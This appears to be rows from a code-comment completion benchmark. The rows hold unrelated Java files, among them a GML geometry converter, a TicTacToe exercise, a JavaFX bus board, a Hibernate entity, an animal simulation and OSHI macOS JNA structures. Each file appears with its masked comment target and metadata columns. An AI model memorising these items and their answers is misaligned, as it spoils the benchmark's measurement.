(JAXBElement<? extends AbstractSurfaceType> surfaceMember : arraySurfaceMembers) { Geometry result = convertElementContainingSurface(surfaceMember); addResultingPolygonsToList(result, polygons); } } } return convertPolygonListToMuliPolygonOrSinglePolygon(polygons); } private Geometry convertPolygonListToMuliPolygonOrSinglePolygon(List<Polygon> polygons) throws GeometryException { if (polygons.isEmpty()) { throw new InvalidGeometryException( GeometryValidationErrorType.MULTI_SURFACE_DID_NOT_CONTAIN_MEMBERS, null); } else if (polygons.size() == 1) { return polygons.get(0); } else { MultiPolygon multi = new MultiPolygon(polygons.toArray(new Polygon[] {}), geometryFactory); return multi; } } private Geometry convertElementContainingSurface( JAXBElement<? extends AbstractSurfaceType> surface) throws GeometryException { if (surface != null) { AbstractSurfaceType abstractSurfaceType = surface.getValue(); if (abstractSurfaceType != null) { return convertSurface(abstractSurfaceType); } } return null; } private void addResultingPolygonsToList(Geometry geometry, List<Polygon> polygons) { if (geometry != null) { if (geometry instanceof MultiPolygon collection) { for (int i = 0; i < collection.getNumGeometries(); i++) { polygons.add((Polygon) collection.getGeometryN(i)); } } else { polygons.add((Polygon) geometry); } } } /** * <p> * convertSurface. * </p> * * @param abstractSurface a {@link net.opengis.gml.v_3_1_1.AbstractSurfaceType} object. * @return a {@link org.locationtech.jts.geom.Geometry} object. * @throws nl.pdok.gml3.exceptions.GeometryException if any. */ public Geometry convertSurface(AbstractSurfaceType abstractSurface) throws GeometryException { if (abstractSurface instanceof SurfaceType surface) { List<Polygon> polygons = new ArrayList<>(); SurfacePatchArrayPropertyType patches = surface.getPatches().getValue(); // opmerking multipliciteit<SUF> for (int i = 0; i < patches.getSurfacePatch().size(); i++) { AbstractSurfacePatchType abstractPatch = patches.getSurfacePatch().get(i).getValue(); if (abstractPatch instanceof PolygonPatchType polygonPatch) { Polygon polygon = convertPolygonPatch(polygonPatch); polygons.add(polygon); } else { throw new UnsupportedGeometrySpecificationException( "Only polygon patch type is supported"); } } return convertPolygonListToMuliPolygonOrSinglePolygon(polygons); } else if (abstractSurface instanceof PolygonType polygonType) { if (polygonType.getExterior() == null) { throw new InvalidGeometryException(GeometryValidationErrorType.POLYGON_HAS_NO_EXTERIOR, null); } AbstractRingPropertyType abstractRing = polygonType.getExterior().getValue(); LinearRing shell = gmlToLineConvertor.translateAbstractRing(abstractRing); LinearRing[] innerRings = new LinearRing[polygonType.getInterior().size()]; for (int i = 0; i < polygonType.getInterior().size(); i++) { innerRings[i] = gmlToLineConvertor.translateAbstractRing(polygonType.getInterior().get(i).getValue()); } return geometryFactory.createPolygon(shell, innerRings); } else { throw new UnsupportedGeometrySpecificationException( "Only Surface and Polygon are " + "supported as instances of _Surface"); } } /** * <p> * convertPolygonPatch. * </p> * * @param polygonPatch a {@link net.opengis.gml.v_3_1_1.PolygonPatchType} object. * @return a {@link org.locationtech.jts.geom.Polygon} object. * @throws nl.pdok.gml3.exceptions.GeometryException if any. */ public Polygon convertPolygonPatch(PolygonPatchType polygonPatch) throws GeometryException { if (polygonPatch.getExterior() == null) { throw new InvalidGeometryException(GeometryValidationErrorType.POLYGON_HAS_NO_EXTERIOR, null); } AbstractRingPropertyType abstractRing = polygonPatch.getExterior().getValue(); LinearRing exteriorShell = gmlToLineConvertor.translateAbstractRing(abstractRing); if (!Orientation.isCCW(exteriorShell.getCoordinates())) { throw new InvalidGeometryException(GeometryValidationErrorType.OUTER_RING_IS_NOT_CCW, null); } LinearRing[] innerRings = new LinearRing[polygonPatch.getInterior().size()]; for (int i = 0; i < polygonPatch.getInterior().size(); i++) { innerRings[i] = gmlToLineConvertor.translateAbstractRing(polygonPatch.getInterior().get(i).getValue()); if (Orientation.isCCW(innerRings[i].getCoordinates())) { throw new InvalidGeometryException(GeometryValidationErrorType.INNER_RING_IS_CCW, null); } } return geometryFactory.createPolygon(exteriorShell, innerRings); } }
True
1,721
18
1,883
21
2,028
17
1,883
21
2,372
19
false
false
false
false
false
true
3,085
67059_3
package tictactoe; /** * * @author hanne.goossens */ public class TicTacToe { /** * @param args the command line arguments */ public static void main(String[] args) { // TODO code application logic here } public String inputNumber(int cijfer){ String returnWaarde = ""; boolean veranderd = false; /* //region TicTacToe if(cijfer >= 101 || cijfer <= 0) { throw new IllegalArgumentException(); } if(String.valueOf(cijfer).contains("3")){ veranderd = true; returnWaarde += "Tic"; } if(cijfer%3==0){ veranderd = true; returnWaarde += "Tic"; } if(String.valueOf(cijfer).contains("5")){ veranderd = true; returnWaarde += "Tac"; } if(cijfer%5==0){ veranderd = true; returnWaarde += "Tac"; } if(String.valueOf(cijfer).contains("7")){ veranderd = true; returnWaarde += "Toe"; } if(cijfer%7==0){ veranderd = true; returnWaarde += "Toe"; } //endregion*/ if(String.valueOf(cijfer).contains("4")) { veranderd = true; returnWaarde += "Frits"; } if (cijfer%4==0) { veranderd = true; returnWaarde += "Frits"; } if(String.valueOf(cijfer).contains("6")) { veranderd = true; returnWaarde += "Freddy"; } if (cijfer%6==0) { veranderd = true; returnWaarde += "Freddy"; } if(!veranderd) { return Integer.toString(cijfer); } return returnWaarde; } }
ikdoeict-notes/programmeren-5
tictactoe-labo01/src/tictactoe/TicTacToe.java
580
/* //region TicTacToe if(cijfer >= 101 || cijfer <= 0) { throw new IllegalArgumentException(); } if(String.valueOf(cijfer).contains("3")){ veranderd = true; returnWaarde += "Tic"; } if(cijfer%3==0){ veranderd = true; returnWaarde += "Tic"; } if(String.valueOf(cijfer).contains("5")){ veranderd = true; returnWaarde += "Tac"; } if(cijfer%5==0){ veranderd = true; returnWaarde += "Tac"; } if(String.valueOf(cijfer).contains("7")){ veranderd = true; returnWaarde += "Toe"; } if(cijfer%7==0){ veranderd = true; returnWaarde += "Toe"; } //endregion*/
block_comment
nl
package tictactoe; /** * * @author hanne.goossens */ public class TicTacToe { /** * @param args the command line arguments */ public static void main(String[] args) { // TODO code application logic here } public String inputNumber(int cijfer){ String returnWaarde = ""; boolean veranderd = false; /* //region TicTacToe <SUF>*/ if(String.valueOf(cijfer).contains("4")) { veranderd = true; returnWaarde += "Frits"; } if (cijfer%4==0) { veranderd = true; returnWaarde += "Frits"; } if(String.valueOf(cijfer).contains("6")) { veranderd = true; returnWaarde += "Freddy"; } if (cijfer%6==0) { veranderd = true; returnWaarde += "Freddy"; } if(!veranderd) { return Integer.toString(cijfer); } return returnWaarde; } }
False
456
209
495
233
525
239
495
233
582
269
true
true
true
true
true
false
4,150
114083_2
package infoborden; import javafx.application.Application; import javafx.application.Platform; import javafx.geometry.Insets; import javafx.geometry.Pos; import javafx.scene.Scene; import javafx.scene.control.Label; import javafx.scene.layout.GridPane; import javafx.scene.text.Text; import javafx.stage.Stage; import tijdtools.InfobordTijdFuncties; public class Infobord extends Application{ private String titel = "Bushalte XX in richting YY"; private Text tijdRegel = new Text("00:00:00"); private Text infoRegel1 = new Text("De eestevolgende bus"); private Text infoRegel2 = new Text("De tweede bus"); private Text infoRegel3 = new Text("De derde bus"); private Text infoRegel4 = new Text("De vierde bus"); private String halte; private String richting; private Berichten berichten; public Infobord(String halte, String richting) { this.titel = "Bushalte " + halte + " in richting " + richting; this.halte=halte; this.richting=richting; this.berichten=new Berichten(); } public void verwerkBericht() { if (berichten.hetBordMoetVerverst()) { String[] infoTekstRegels = berichten.repaintInfoBordValues(); // Deze code hoort bij opdracht 3 // InfobordTijdFuncties tijdfuncties = new InfobordTijdFuncties(); // String tijd = tijdfuncties.getCentralTime().toString(); // tijdRegel.setText(tijd); infoRegel1.setText(infoTekstRegels[0]); infoRegel2.setText(infoTekstRegels[1]); infoRegel3.setText(infoTekstRegels[2]); infoRegel4.setText(infoTekstRegels[3]); }; } public void updateBord() { Runnable updater = new Runnable() { @Override public void run() { verwerkBericht(); } }; Platform.runLater(updater); } @Override public void start(Stage primaryStage) { // TODO maak de selector aan // String selector = ??????; // thread(new ListenerStarter(selector, this, berichten),false); GridPane pane = new GridPane(); pane.setAlignment(Pos.CENTER_LEFT); pane.setPadding(new Insets(11.5, 12.5, 13.5, 14.5)); pane.setHgap(5.5); pane.setVgap(5.5); // Place nodes in the pane pane.add(new Label("Voor het laatst bijgewerkt op :"), 0, 0); pane.add(tijdRegel, 1, 0); pane.add(new Label("1:"), 0, 1); pane.add(infoRegel1, 1, 1); pane.add(new Label("2:"), 0, 2); pane.add(infoRegel2, 1, 2); pane.add(new Label("3:"), 0, 3); pane.add(infoRegel3, 1, 3); pane.add(new Label("4:"), 0, 4); pane.add(infoRegel4, 1, 4); // Create a scene and place it in the stage Scene scene = new Scene(pane,500,150); primaryStage.setTitle(titel); // Set the stage title primaryStage.setScene(scene); // Place the scene in the stage primaryStage.show(); // Display the stage } public void thread(Runnable runnable, boolean daemon) { Thread brokerThread = new Thread(runnable); brokerThread.setDaemon(daemon); brokerThread.start(); } }
reneoun/EAI
eai_bussimulatorStudenten/InfobordSysteem/infoborden/Infobord.java
1,088
// String tijd = tijdfuncties.getCentralTime().toString();
line_comment
nl
package infoborden; import javafx.application.Application; import javafx.application.Platform; import javafx.geometry.Insets; import javafx.geometry.Pos; import javafx.scene.Scene; import javafx.scene.control.Label; import javafx.scene.layout.GridPane; import javafx.scene.text.Text; import javafx.stage.Stage; import tijdtools.InfobordTijdFuncties; public class Infobord extends Application{ private String titel = "Bushalte XX in richting YY"; private Text tijdRegel = new Text("00:00:00"); private Text infoRegel1 = new Text("De eestevolgende bus"); private Text infoRegel2 = new Text("De tweede bus"); private Text infoRegel3 = new Text("De derde bus"); private Text infoRegel4 = new Text("De vierde bus"); private String halte; private String richting; private Berichten berichten; public Infobord(String halte, String richting) { this.titel = "Bushalte " + halte + " in richting " + richting; this.halte=halte; this.richting=richting; this.berichten=new Berichten(); } public void verwerkBericht() { if (berichten.hetBordMoetVerverst()) { String[] infoTekstRegels = berichten.repaintInfoBordValues(); // Deze code hoort bij opdracht 3 // InfobordTijdFuncties tijdfuncties = new InfobordTijdFuncties(); // String tijd<SUF> // tijdRegel.setText(tijd); infoRegel1.setText(infoTekstRegels[0]); infoRegel2.setText(infoTekstRegels[1]); infoRegel3.setText(infoTekstRegels[2]); infoRegel4.setText(infoTekstRegels[3]); }; } public void updateBord() { Runnable updater = new Runnable() { @Override public void run() { verwerkBericht(); } }; Platform.runLater(updater); } @Override public void start(Stage primaryStage) { // TODO maak de selector aan // String selector = ??????; // thread(new ListenerStarter(selector, this, berichten),false); GridPane pane = new GridPane(); pane.setAlignment(Pos.CENTER_LEFT); pane.setPadding(new Insets(11.5, 12.5, 13.5, 14.5)); pane.setHgap(5.5); pane.setVgap(5.5); // Place nodes in the pane pane.add(new Label("Voor het laatst bijgewerkt op :"), 0, 0); pane.add(tijdRegel, 1, 0); pane.add(new Label("1:"), 0, 1); pane.add(infoRegel1, 1, 1); pane.add(new Label("2:"), 0, 2); pane.add(infoRegel2, 1, 2); pane.add(new Label("3:"), 0, 3); pane.add(infoRegel3, 1, 3); pane.add(new Label("4:"), 0, 4); pane.add(infoRegel4, 1, 4); // Create a scene and place it in the stage Scene scene = new Scene(pane,500,150); primaryStage.setTitle(titel); // Set the stage title primaryStage.setScene(scene); // Place the scene in the stage primaryStage.show(); // Display the stage } public void thread(Runnable runnable, boolean daemon) { Thread brokerThread = new Thread(runnable); brokerThread.setDaemon(daemon); brokerThread.start(); } }
False
876
16
1,051
21
941
15
1,051
21
1,138
20
false
false
false
false
false
true
650
64553_1
package Iterator; import java.util.ArrayList; import java.util.List; /** * Created by Halil Teker on 6/24/2017. */ public class HogeschoolRotterdam implements Iterable { private List<Student> studenten; public HogeschoolRotterdam() { // TODO Maak de studenten list, en voeg enkele studenten toe studenten = new ArrayList<Student>(); studenten.add(new Student("Jan", "Janssen", "Rotterdam")); studenten.add(new Student("Chukwuemeka", "Aziz", "Rotterdam")); studenten.add(new Student("Ravindra", "Dushyant", "Rotterdam")); } public List<Student> getStudenten() { return this.studenten; } @Override public Iterator iterator() { return new HogeschoolRotterdamIterator(studenten); } }
HTeker/Dessign-Patterns-Implementation
Opdrachten/src/Iterator/HogeschoolRotterdam.java
243
// TODO Maak de studenten list, en voeg enkele studenten toe
line_comment
nl
package Iterator; import java.util.ArrayList; import java.util.List; /** * Created by Halil Teker on 6/24/2017. */ public class HogeschoolRotterdam implements Iterable { private List<Student> studenten; public HogeschoolRotterdam() { // TODO Maak<SUF> studenten = new ArrayList<Student>(); studenten.add(new Student("Jan", "Janssen", "Rotterdam")); studenten.add(new Student("Chukwuemeka", "Aziz", "Rotterdam")); studenten.add(new Student("Ravindra", "Dushyant", "Rotterdam")); } public List<Student> getStudenten() { return this.studenten; } @Override public Iterator iterator() { return new HogeschoolRotterdamIterator(studenten); } }
True
195
18
228
18
221
13
228
18
245
17
false
false
false
false
false
true
1,102
26153_1
package nl.hu.dp; import org.hibernate.annotations.Cascade; import javax.persistence.*; import java.sql.Date; import java.util.*; @Entity @Table(name = "ov_chipkaart") public class OVChipkaart { @Id @Column(name = "kaart_nummer", nullable = false) private int id; @Column(name = "geldig_tot") private Date geldigTot; private Integer klasse; private Integer saldo; @ManyToOne @JoinColumn(name = "reiziger_id") private Reiziger reiziger_id; //https://javaee.github.io/javaee-spec/javadocs/javax/persistence/ManyToMany.html //ovchipkaart is de owning side hier zitten joins om product en ovchipkaart samen te voegen //deze joins zorgen dus voor de relationship die we nodig hebben //zie @ManyToMany van klasse Product @ManyToMany @JoinTable(name = "ov_chipkaart_product", joinColumns = @JoinColumn(name = "kaart_nummer") ,inverseJoinColumns = @JoinColumn(name = "product_nummer")) private List<Product> producten = new ArrayList<>(); public OVChipkaart() { } public int getId() { return id; } public void setId(int id) { this.id = id; } public OVChipkaart(int id, Date geldigTot, Integer klasse, Integer saldo) { this.id = id; this.geldigTot = geldigTot; this.klasse = klasse; this.saldo = saldo; } public int getKaartId() { return id; } public void setKaartId(int id) { this.id=id; } public Reiziger getReiziger() { return reiziger_id; } public void setReiziger(Reiziger reiziger) { this.reiziger_id = reiziger; } public Date getGeldigTot() { return geldigTot; } public void setGeldigTot(Date geldigTot) { this.geldigTot = geldigTot; } public Integer getKlasse() { return klasse; } public void setKlasse(Integer klasse) { this.klasse = klasse; } public Integer getSaldo() { return saldo; } public void setSaldo(Integer saldo) { this.saldo = saldo; } public void voegProductToe(Product product) { producten.add(product); } public void verwijderProduct(Product product) { producten.remove(product); } public List<Product> getProducten() { return producten; } public String toString() { String product = ""; for (Product p : producten) { product += "nummer #" + p.getProductNummer() + " naam: " + p.getNaam() + " beschrijving: " + p.getBeschrijving() + " "; } if (reiziger_id != null && producten == null) { return "{kaartnummer: #" + id + " geldigTot: " + geldigTot + " klasse: " + klasse + " saldo: " + saldo + " {ReizigerID: " + "#" + reiziger_id.getId() + "}"; } else if (producten != null && reiziger_id != null) { return "{kaartnummer: #" + id + " geldigTot: " + geldigTot + " klasse: " + klasse + " saldo: " + saldo + "\n Producten{" + product + "}" + " Reiziger{"+reiziger_id.getNaam()+"}"; } return "{kaartnummer: #" + id + " geldigTot: " + geldigTot + " klasse: " + klasse + " saldo: " + saldo + "}"; } }
Mertcan417/Data-Persistency_ovchipkaart-hibernate
src/main/java/nl/hu/dp/OVChipkaart.java
1,106
//deze joins zorgen dus voor de relationship die we nodig hebben
line_comment
nl
package nl.hu.dp; import org.hibernate.annotations.Cascade; import javax.persistence.*; import java.sql.Date; import java.util.*; @Entity @Table(name = "ov_chipkaart") public class OVChipkaart { @Id @Column(name = "kaart_nummer", nullable = false) private int id; @Column(name = "geldig_tot") private Date geldigTot; private Integer klasse; private Integer saldo; @ManyToOne @JoinColumn(name = "reiziger_id") private Reiziger reiziger_id; //https://javaee.github.io/javaee-spec/javadocs/javax/persistence/ManyToMany.html //ovchipkaart is de owning side hier zitten joins om product en ovchipkaart samen te voegen //deze joins<SUF> //zie @ManyToMany van klasse Product @ManyToMany @JoinTable(name = "ov_chipkaart_product", joinColumns = @JoinColumn(name = "kaart_nummer") ,inverseJoinColumns = @JoinColumn(name = "product_nummer")) private List<Product> producten = new ArrayList<>(); public OVChipkaart() { } public int getId() { return id; } public void setId(int id) { this.id = id; } public OVChipkaart(int id, Date geldigTot, Integer klasse, Integer saldo) { this.id = id; this.geldigTot = geldigTot; this.klasse = klasse; this.saldo = saldo; } public int getKaartId() { return id; } public void setKaartId(int id) { this.id=id; } public Reiziger getReiziger() { return reiziger_id; } public void setReiziger(Reiziger reiziger) { this.reiziger_id = reiziger; } public Date getGeldigTot() { return geldigTot; } public void setGeldigTot(Date geldigTot) { this.geldigTot = geldigTot; } public Integer getKlasse() { return klasse; } public void setKlasse(Integer klasse) { this.klasse = klasse; } public Integer getSaldo() { return saldo; } public void setSaldo(Integer saldo) { this.saldo = saldo; } public void voegProductToe(Product product) { producten.add(product); } public void verwijderProduct(Product product) { producten.remove(product); } public List<Product> getProducten() { return producten; } public String toString() { String product = ""; for (Product p : producten) { product += "nummer #" + p.getProductNummer() + " naam: " + p.getNaam() + " beschrijving: " + p.getBeschrijving() + " "; } if (reiziger_id != null && producten == null) { return "{kaartnummer: #" + id + " geldigTot: " + geldigTot + " klasse: " + klasse + " saldo: " + saldo + " {ReizigerID: " + "#" + reiziger_id.getId() + "}"; } else if (producten != null && reiziger_id != null) { return "{kaartnummer: #" + id + " geldigTot: " + geldigTot + " klasse: " + klasse + " saldo: " + saldo + "\n Producten{" + product + "}" + " Reiziger{"+reiziger_id.getNaam()+"}"; } return "{kaartnummer: #" + id + " geldigTot: " + geldigTot + " klasse: " + klasse + " saldo: " + saldo + "}"; } }
True
864
15
973
19
939
13
973
19
1,117
15
false
false
false
false
false
true
3,361
16720_22
package model; import view.*; import java.awt.Color; import java.util.List; import java.util.Random; /** * A class representing shared characteristics of animals. * * @author David J. Barnes and Michael Kölling * @version 2011.07.31 */ public abstract class Animal implements Actor { // Whether the animal is alive or not. protected boolean alive = true; // The animal's field. private Field field; // The animal's position in the field. private Location location; // The animal's age private int age; // A shared random number generator to control breeding. private static final Random rand = Randomizer.getRandom(); protected Color color; protected Color OFFICIAL_COLOR; /** * Create a new animal at location in field. * * @param field The field currently occupied. * @param location The location within the field. */ public Animal(Field field, Location location) { alive = true; this.field = field; setLocation(location); } /** * Make this animal act - that is: make it do * whatever it wants/needs to do. * @param newAnimals A list to receive newly born animals. */ abstract public void act(List<Actor> newActors); /** * Returns the current color of the animal. * @return The animals current color */ public Color getColor() { return color; } /** * Returns the official color linked to the kind of animal. * @return The animals official color */ public Color getOfficialColor() { return OFFICIAL_COLOR; } /** * Indicate that the animal is no longer alive. * It is removed from the field. */ protected void setDead() { alive = false; if(location != null) { field.clear(location); location = null; field = null; } } /** * Return the animal's location. * @return The animal's location. */ protected Location getLocation() { return location; } /** * Place the animal at the new location in the given field. * @param newLocation The animal's new location. */ protected void setLocation(Location newLocation) { if(location != null) { field.clear(location); } location = newLocation; field.place(this, newLocation); } /** * Return the animal's field. * @return The animal's field. */ protected Field getField() { return field; } /** * Increase the age. This could result in the fox's death. */ protected void incrementAge() { age++; if(age > getMaxAge()) { setDead(); } } /** * Generate a number representing the number of births, * if it can breed. * @return The number of births (may be zero). */ protected int breed() { int births = 0; if(canBreed() && rand.nextDouble() <= getBreedingProbability()) { births = rand.nextInt(getMaxLitterSize()) + 1; } return births; } /** * Een dier kan zich voortplanten als het de * voortplantingsleeftijd heeft bereikt. * @return true als het dier zich kan voortplanten */ public boolean canBreed() { return age >= getBreedingAge(); } /** * Check whether or not this fox is to give birth at this step. * New births will be made into free adjacent locations. * @param newFoxes A list to return newly born foxes. */ protected void giveBirth(List<Actor> newAnimals) { // New animals are born into adjacent locations. // Get a list of adjacent free locations. Animal animal = this; Animal nieuw = null; Field field = getField(); List<Location> free = field.getFreeAdjacentLocations(getLocation()); int births = breed(); for(int b = 0; b < births && free.size() > 0; b++) { Location loc = free.remove(0); if (animal instanceof Rabbit) { nieuw = new Rabbit(false, field, loc); } else if (animal instanceof Fox) { nieuw = new Fox(false, field, loc); } else if (animal instanceof Bear) { nieuw = new Bear(false, field, loc); } newAnimals.add(nieuw); } } /** * Retourneer de voortplantingskans van dit dier. */ abstract protected double getBreedingProbability(); /** * Returns the maximum amount of offspring an animal can have. */ abstract protected int getMaxLitterSize(); /** * Retourneer de voortplantingsleeftijd van dit dier. * @return De voortplantingsleeftijd van dit dier. */ abstract protected int getBreedingAge(); /** * Retourneer de maximum leeftijd van dit dier. * @return De maximum leeftijd van dit dier. */ abstract protected int getMaxAge(); /** * Return the animal's age. * @return The animal's age. */ public int getAge() { return age; } /** * Set the animal's age. * @param The animal's age. */ public void setAge(int age) { this.age = age; } /** * Returns if animal is alive. False by default; * @return false. */ public boolean isAlive() { return false; } }
kevinstier/VossenEnKonijnen
Mark/src/model/Animal.java
1,591
/** * Retourneer de voortplantingsleeftijd van dit dier. * @return De voortplantingsleeftijd van dit dier. */
block_comment
nl
package model; import view.*; import java.awt.Color; import java.util.List; import java.util.Random; /** * A class representing shared characteristics of animals. * * @author David J. Barnes and Michael Kölling * @version 2011.07.31 */ public abstract class Animal implements Actor { // Whether the animal is alive or not. protected boolean alive = true; // The animal's field. private Field field; // The animal's position in the field. private Location location; // The animal's age private int age; // A shared random number generator to control breeding. private static final Random rand = Randomizer.getRandom(); protected Color color; protected Color OFFICIAL_COLOR; /** * Create a new animal at location in field. * * @param field The field currently occupied. * @param location The location within the field. */ public Animal(Field field, Location location) { alive = true; this.field = field; setLocation(location); } /** * Make this animal act - that is: make it do * whatever it wants/needs to do. * @param newAnimals A list to receive newly born animals. */ abstract public void act(List<Actor> newActors); /** * Returns the current color of the animal. * @return The animals current color */ public Color getColor() { return color; } /** * Returns the official color linked to the kind of animal. * @return The animals official color */ public Color getOfficialColor() { return OFFICIAL_COLOR; } /** * Indicate that the animal is no longer alive. * It is removed from the field. */ protected void setDead() { alive = false; if(location != null) { field.clear(location); location = null; field = null; } } /** * Return the animal's location. * @return The animal's location. */ protected Location getLocation() { return location; } /** * Place the animal at the new location in the given field. * @param newLocation The animal's new location. */ protected void setLocation(Location newLocation) { if(location != null) { field.clear(location); } location = newLocation; field.place(this, newLocation); } /** * Return the animal's field. * @return The animal's field. */ protected Field getField() { return field; } /** * Increase the age. This could result in the fox's death. */ protected void incrementAge() { age++; if(age > getMaxAge()) { setDead(); } } /** * Generate a number representing the number of births, * if it can breed. * @return The number of births (may be zero). */ protected int breed() { int births = 0; if(canBreed() && rand.nextDouble() <= getBreedingProbability()) { births = rand.nextInt(getMaxLitterSize()) + 1; } return births; } /** * Een dier kan zich voortplanten als het de * voortplantingsleeftijd heeft bereikt. * @return true als het dier zich kan voortplanten */ public boolean canBreed() { return age >= getBreedingAge(); } /** * Check whether or not this fox is to give birth at this step. * New births will be made into free adjacent locations. * @param newFoxes A list to return newly born foxes. */ protected void giveBirth(List<Actor> newAnimals) { // New animals are born into adjacent locations. // Get a list of adjacent free locations. Animal animal = this; Animal nieuw = null; Field field = getField(); List<Location> free = field.getFreeAdjacentLocations(getLocation()); int births = breed(); for(int b = 0; b < births && free.size() > 0; b++) { Location loc = free.remove(0); if (animal instanceof Rabbit) { nieuw = new Rabbit(false, field, loc); } else if (animal instanceof Fox) { nieuw = new Fox(false, field, loc); } else if (animal instanceof Bear) { nieuw = new Bear(false, field, loc); } newAnimals.add(nieuw); } } /** * Retourneer de voortplantingskans van dit dier. */ abstract protected double getBreedingProbability(); /** * Returns the maximum amount of offspring an animal can have. */ abstract protected int getMaxLitterSize(); /** * Retourneer de voortplantingsleeftijd<SUF>*/ abstract protected int getBreedingAge(); /** * Retourneer de maximum leeftijd van dit dier. * @return De maximum leeftijd van dit dier. */ abstract protected int getMaxAge(); /** * Return the animal's age. * @return The animal's age. */ public int getAge() { return age; } /** * Set the animal's age. * @param The animal's age. */ public void setAge(int age) { this.age = age; } /** * Returns if animal is alive. False by default; * @return false. */ public boolean isAlive() { return false; } }
True
1,270
39
1,372
41
1,491
36
1,374
41
1,613
42
false
false
false
false
false
true
3,929
169474_15
/* * Copyright 2016-2022 The OSHI Project Contributors * SPDX-License-Identifier: MIT */ package oshi.jna.platform.mac; import com.sun.jna.Native; import com.sun.jna.Structure; import com.sun.jna.Structure.FieldOrder; import com.sun.jna.Union; import oshi.jna.platform.unix.CLibrary; import oshi.util.Util; /** * System class. This class should be considered non-API as it may be removed if/when its code is incorporated into the * JNA project. */ public interface SystemB extends com.sun.jna.platform.mac.SystemB, CLibrary { SystemB INSTANCE = Native.load("System", SystemB.class); int PROC_PIDLISTFDS = 1; int PROX_FDTYPE_SOCKET = 2; int PROC_PIDFDSOCKETINFO = 3; int TSI_T_NTIMERS = 4; int SOCKINFO_IN = 1; int SOCKINFO_TCP = 2; int UTX_USERSIZE = 256; int UTX_LINESIZE = 32; int UTX_IDSIZE = 4; int UTX_HOSTSIZE = 256; int AF_INET = 2; // The Internet Protocol version 4 (IPv4) address family. int AF_INET6 = 30; // The Internet Protocol version 6 (IPv6) address family. /** * Mac connection info */ @FieldOrder({ "ut_user", "ut_id", "ut_line", "ut_pid", "ut_type", "ut_tv", "ut_host", "ut_pad" }) class MacUtmpx extends Structure { public byte[] ut_user = new byte[UTX_USERSIZE]; // login name public byte[] ut_id = new byte[UTX_IDSIZE]; // id public byte[] ut_line = new byte[UTX_LINESIZE]; // tty name public int ut_pid; // process id creating the entry public short ut_type; // type of this entry public Timeval ut_tv; // time entry was created public byte[] ut_host = new byte[UTX_HOSTSIZE]; // host name public byte[] ut_pad = new byte[16]; // reserved for future use } /** * Mac file descriptor info */ @FieldOrder({ "proc_fd", "proc_fdtype" }) class ProcFdInfo extends Structure { public int proc_fd; public int proc_fdtype; } /** * Mac internet socket info */ @FieldOrder({ "insi_fport", "insi_lport", "insi_gencnt", "insi_flags", "insi_flow", "insi_vflag", "insi_ip_ttl", "rfu_1", "insi_faddr", "insi_laddr", "insi_v4", "insi_v6" }) class InSockInfo extends Structure { public int insi_fport; /* foreign port */ public int insi_lport; /* local port */ public long insi_gencnt; /* generation count of this instance */ public int insi_flags; /* generic IP/datagram flags */ public int insi_flow; public byte insi_vflag; /* ini_IPV4 or ini_IPV6 */ public byte insi_ip_ttl; /* time to live proto */ public int rfu_1; /* reserved */ /* protocol dependent part, v4 only in last element */ public int[] insi_faddr = new int[4]; /* foreign host table entry */ public int[] insi_laddr = new int[4]; /* local host table entry */ public byte insi_v4; /* type of service */ public byte[] insi_v6 = new byte[9]; } /** * Mac TCP socket info */ @FieldOrder({ "tcpsi_ini", "tcpsi_state", "tcpsi_timer", "tcpsi_mss", "tcpsi_flags", "rfu_1", "tcpsi_tp" }) class TcpSockInfo extends Structure { public InSockInfo tcpsi_ini; public int tcpsi_state; public int[] tcpsi_timer = new int[TSI_T_NTIMERS]; public int tcpsi_mss; public int tcpsi_flags; public int rfu_1; /* reserved */ public long tcpsi_tp; /* opaque handle of TCP protocol control block */ } /** * Mack IP Socket Info */ @FieldOrder({ "soi_stat", "soi_so", "soi_pcb", "soi_type", "soi_protocol", "soi_family", "soi_options", "soi_linger", "soi_state", "soi_qlen", "soi_incqlen", "soi_qlimit", "soi_timeo", "soi_error", "soi_oobmark", "soi_rcv", "soi_snd", "soi_kind", "rfu_1", "soi_proto" }) class SocketInfo extends Structure { public long[] soi_stat = new long[17]; // vinfo_stat public long soi_so; /* opaque handle of socket */ public long soi_pcb; /* opaque handle of protocol control block */ public int soi_type; public int soi_protocol; public int soi_family; public short soi_options; public short soi_linger; public short soi_state; public short soi_qlen; public short soi_incqlen; public short soi_qlimit; public short soi_timeo; public short soi_error; public int soi_oobmark; public int[] soi_rcv = new int[6]; // sockbuf_info public int[] soi_snd = new int[6]; // sockbuf_info public int soi_kind; public int rfu_1; /* reserved */ public Pri soi_proto; } /** * Mac file info */ @FieldOrder({ "fi_openflags", "fi_status", "fi_offset", "fi_type", "fi_guardflags" }) class ProcFileInfo extends Structure { public int fi_openflags; public int fi_status; public long fi_offset; public int fi_type; public int fi_guardflags; } /** * Mac socket info */ @FieldOrder({ "pfi", "psi" }) class SocketFdInfo extends Structure implements AutoCloseable { public ProcFileInfo pfi; public SocketInfo psi; @Override public void close() { Util.freeMemory(getPointer()); } } /** * Union for TCP or internet socket info */ class Pri extends Union { public InSockInfo pri_in; public TcpSockInfo pri_tcp; // max element is 524 bytes public byte[] max_size = new byte[524]; } /** * Reads a line from the current file position in the utmp file. It returns a pointer to a structure containing the * fields of the line. * <p> * Not thread safe * * @return a {@link MacUtmpx} on success, and NULL on failure (which includes the "record not found" case) */ MacUtmpx getutxent(); int proc_pidfdinfo(int pid, int fd, int flavor, Structure buffer, int buffersize); }
oshi/oshi
oshi-core/src/main/java/oshi/jna/platform/mac/SystemB.java
1,969
/* protocol dependent part, v4 only in last element */
block_comment
nl
